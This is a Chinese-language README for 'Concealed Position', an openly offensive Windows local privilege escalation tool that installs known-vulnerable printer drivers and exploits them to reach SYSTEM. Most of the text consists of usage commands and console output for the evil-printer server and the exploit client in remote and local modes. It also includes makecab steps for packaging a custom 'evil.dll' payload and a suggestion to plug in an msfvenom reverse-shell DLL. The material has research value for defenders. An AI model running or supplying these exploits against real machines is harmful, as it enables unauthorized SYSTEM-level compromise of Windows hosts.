Concealed Position 是一种利用“自带漏洞”概念的 Windows 本地权限提升攻击。具体而言,Concealed Position (CP) 利用了 Windows 中 设计如此 的包点与打印逻辑,该逻辑允许低权限用户暂存并安装打印机驱动程序。CP 专门安装带有已知漏洞的驱动程序,然后利用这些漏洞提权至 SYSTEM。Concealed Position 首次在 DEF CON 29 上展示。
Concealed Position 提供了四个漏洞利用——名字都同样愚蠢:
这些漏洞利用很棒,因为除了 SLASHINGDAMAGE 之外,即便相关问题已经被修补,它们仍然能继续工作。Windows 阻止用户使用旧驱动程序的唯一机制是吊销驱动程序的证书——这在历史上(可能?)从未发生过。
很可能 ACIDDAMAGE。RADIANTDAMAGE 和 POISONDAMAGE 是条件竞争(用于覆盖 DLL),而 SLASHINGDAMAGE 希望大多数地方已经打补丁了。
Concealed Position 包含两部分:一个邪恶打印机和一个客户端。客户端连接到服务器,获取驱动程序,将驱动程序存入驱动存储区,安装打印机,并利用安装过程。很简单!用 MSAPI 的话来说,攻击过程大致如下:
步骤 1:将驱动程序暂存到驱动存储区
客户端到服务器:GetPrinterDriver
服务器到客户端:响应包含驱动程序
步骤 2:从驱动存储区安装驱动程序
客户端:InstallPrinterDriverFromPackage
步骤 3:添加本地打印机(利用阶段)
客户端:Add printer
需要指出的是,SLASHINGDAMAGE 实际上并非如此工作。SLASHINGDAMAGE 是 DEFCON 28(2020)上描述的邪恶打印机攻击的实现,并且早已被修补。我只是碰巧喜欢这个攻击(它激发了后续开发),所以决定把这个漏洞利用留在我的邪恶服务器中……尽管这可能令人困惑。
可以说,是的。驱动存储区是 “受信任的第三方驱动包集合”,需要管理员权限才能修改。使用 GetPrinterDriver,低权限攻击者可以将任意驱动程序暂存到存储区中。对我来说,这跨越了明确的安全边界。
微软似乎在发布 CVE-2021-34481 时也同意这一点。
不过……也可以说这只是系统的一个功能,根本不是一个漏洞。但这其实没那么重要。攻击者可以在标准 Windows 安装上提权至 SYSTEM。
至少 Windows 8.1 及以上版本。
很简单!简单到要用很多段落来描述!
首先,让我们看看 cp_server 的命令行选项:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
上面可以看到服务器需要两个选项:
例如,假设我们要配置一个提供 ACIDDAMAGE 驱动程序的邪恶打印机。只需这样做:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] 创建临时空间...
[+] 解压 .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] 推入驱动存储区
[+] 清理临时空间
[+] 安装打印驱动程序
[+] 驱动程序已安装!
[+] 安装共享打印机
[+] 共享打印机已安装!
[+] 自动化完成。
[!] 重要!手动步骤!
[0] 在高级共享设置中,关闭密码保护的共享。
[1] 准备就绪!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
就是这样,你会在系统上看到一个新增的打印机:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
请注意,cp_server 提示你有一个手动步骤。因为我是一个蹩脚的黑客,我没能搞明白如何通过编程设置 "高级共享设置" -> "关闭密码保护的共享"。你需要自己手动完成!
使用 SLASHINGDAMAGE 的过程略有不同。你需要先安装 CutePDF Writer(在第三方目录中找到安装程序)。然后运行 cp_server,然后你仍然需要跟随几个手动步骤并重启。
客户端的用法同样简单。让我们看看它的命令行选项:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
首先,我想提一下 --dll 选项。客户端内置了一个有效载荷,它仅仅会写入 C:\result.txt 文件。然而,用户可以通过这个选项提供自己的 DLL。一个你可能想用的好例子是 msfvenom 生成的 x64 反向 shell。但在接下来的内容中,我们只假设使用内置有效载荷。
cp_client 有两种模式:远程模式和本地模式。远程模式最有趣,因为它会将易受攻击的驱动程序添加到驱动存储区(从而执行自带打印驱动漏洞),所以我们先介绍这种模式。假设我想连接回我们之前配置的邪恶 ACIDDAMAGE 打印机。我只需要提供:
就像这样!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] 检查驱动程序是否已安装
[-] 驱动程序不可用。
[+] 回调到邪恶打印机 @ \\10.0.0.9\ACIDDAMAGE
[+] 在驱动存储区暂存驱动程序
[+] 安装暂存的驱动程序
[+] 驱动程序已安装!
[+] 启动 AcidDamage
[+] 检查 C:\ProgramData\Lexmark Universal v2\ 是否存在
[-] 目标目录不存在。触发安装。
[+] 安装打印机
[+] 读取 C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] 搜索文件内容
[+] 更新文件内容
[+] 放置更新后的 gpl
[+] 将 Dll.dll 放到磁盘
[+] 在 c:\tmp 中暂存 dll
[+] 安装打印机
[!] 大功告成!
就是这些!要执行纯本地攻击,你只需要提供漏洞利用:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] 检查驱动程序是否已安装
[+] 驱动程序已安装!
[+] 启动 AcidDamage
[+] 检查 C:\ProgramData\Lexmark Universal v2\ 是否存在
[-] 目标目录不存在。触发安装。
[+] 安装打印机
[+] 读取 C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] 搜索文件内容
[+] 更新文件内容
[+] 放置更新后的 gpl
[+] 将 Dll.dll 放到磁盘
[+] 在 c:\tmp 中暂存 dll
[+] 安装打印机
[!] 大功告成!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE 不需要特殊的客户端进行利用。你可以直接使用 UI 或命令行连接到远程打印机就可以了!不过,如果你想自定义有效载荷,你需要更新 cab_files 目录中的 CAB 文件。但这很简单。类似这样:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
有一点可能很重要:仓库中 SLASHINGDAMAGE 的版本会将 ualapi.dll 放到 SYSTEM32 中,并且在重启时执行,它会创建 C:\result.txt 文件。
你想提交拉取请求或报告 bug 吗?太好了!我对此表示感激,但如果你没有提供足够的细节来重现 bug 或解释为什么应该接受拉取请求,那么有 100% 的几率我会直接关闭你的问题而不加评论。我感谢你,但我也非常忙。
需要注意的一点是,inject_me.dll 实际上是以 C 数组的形式嵌入在 cp_client 中。如果你更新了 inject_me,你需要手动更新 C 数组(只需使用 xxd 生成数组即可)。